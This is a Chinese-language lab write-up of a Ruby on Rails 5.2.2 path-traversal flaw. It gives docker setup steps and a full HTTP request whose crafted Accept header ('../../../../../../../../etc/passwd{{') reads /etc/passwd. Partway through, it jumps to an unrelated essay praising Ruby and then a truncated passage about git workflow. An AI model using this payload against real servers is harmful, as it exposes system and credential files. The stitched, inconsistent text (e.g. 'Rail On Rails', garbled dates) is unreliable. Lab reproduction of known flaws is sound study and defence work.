漏洞简介
在控制器中通过
render file
形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入
Accept: ../../../../../../../../etc/passwd{
{
头来构成构造路径穿越漏洞,读取任意文件。
环境搭建
执行如下命令编译及启动Rail On Rails 5.2.2:
docker-compose build
docker-compose up -d
环境启动后,访问
http://your-ip:3000
即可看到Ruby on Rails的欢迎页面。
可以看到端口
漏洞复现
访问
http://127.0.0.1:3000/robots/
可见,正常的robots.txt文件被读取出来。
一定要抓到robots的数据包
将Accept数据修改为一下
../../../../../../../../etc/passwd{{
利用漏洞,发送如下数据包,读取
/etc/passwd
:
GET /robots/ HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
成功读取:
在每个开发者心里,都会有一门“最好”的语言,在这个世界的某个深处,在一些矫矫不群的人们心中,这门语言的名字叫做Ruby,它今年二十八岁了,历史和Java一样的悠久,但是它没有大厂背书、它的性能被开发者诟病、时至今日依然无法高效利用多核资源,甚至于它每年都要被“死亡”一次,相比于有太阳计算机系统、甲骨文、IBM 这些大公司支持的 Java,它是那么的一无所有,但是,它又拥有全世界最虔诚的“信徒”,拥有最活跃的开发者社区,这一切,又让它是那么的应有尽有。是的,这就是Rubyist的理念:有的时候,你想证明给一万个人看,到后来,你发现只得到了一个明白的人,那就够了。
2023年,“非著名Web框架”--Ruby on Rails已经18岁了。在今年,Rails 6.0趋于完善,除了拿掉讨厌的Jquery,Webpacker 也成为默认前端打包方案,Sprockets 开始软着陆,未来很可能会和Jquery一样被彻底废弃,这就是历史的进程。
最简单的做法是直接将本地电脑1上的代码拷贝到服务器上。
但是我们拷贝完成后发现了一个bug1,在本地电脑1的代码中修复了之后。需要与云服务器上的代码同步,还是要将本地电脑1的代码拷贝到服务器上吗?
团队的另一个人修改了bug2,没有修改bug1,他如果将自己本地电脑2的代码拷贝到服务器上,就会将你刚刚修改的bug1代码覆盖掉。
所以我们现在需要一个第三方先将代码处理整合一下,将我们自己的代码与团队其他人的代码整合起来,再通过git pull操作将整合后